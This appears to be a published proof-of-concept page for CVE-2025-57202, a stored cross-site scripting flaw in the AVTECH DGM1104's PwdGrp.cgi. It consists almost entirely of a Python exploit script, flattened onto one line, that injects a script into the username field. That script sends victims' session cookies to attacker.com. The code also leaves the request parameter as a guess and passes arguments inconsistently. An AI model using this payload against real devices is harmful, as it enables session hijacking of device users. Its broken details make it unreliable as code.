CVE-2025-57202: AVTECH DGM1104 存储型XSS漏洞

# CVE-2025-57202 PoC - Stored XSS in AVTECH DGM1104 PwdGrp.cgi # This PoC demonstrates how to inject malicious JavaScript via username field import requests import sys target_url = "http://<target_ip>/cgi-bin/PwdGrp.cgi" # XSS payload - steals session cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Alternative payload - basic alert demonstration xss_payload_alt = "<img src=x onerror='alert(\"XSS\")'>" def exploit_stored_xss(target_ip, payload): """ Exploits CVE-2025-57202 by injecting XSS payload into username field via PwdGrp.cgi endpoint. """ # Prepare the malicious username data = { "username": payload, "action": "add" # or appropriate action parameter } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully: {payload}") print(f"[+] The XSS payload is now stored on the device") print(f"[+] It will execute when any user visits the affected page") return True else: print(f"[-] Failed to send payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [payload_type]") print(f"payload_type: 1 = cookie steal, 2 = alert demo (default: 1)") sys.exit(1) target_ip = sys.argv[1] payload_type = sys.argv[2] if len(sys.argv) > 2 else "1" target_url = f"http://{target_ip}/cgi-bin/PwdGrp.cgi" payload = xss_payload if payload_type == "1" else xss_payload_alt exploit_stored_xss(target_url, payload)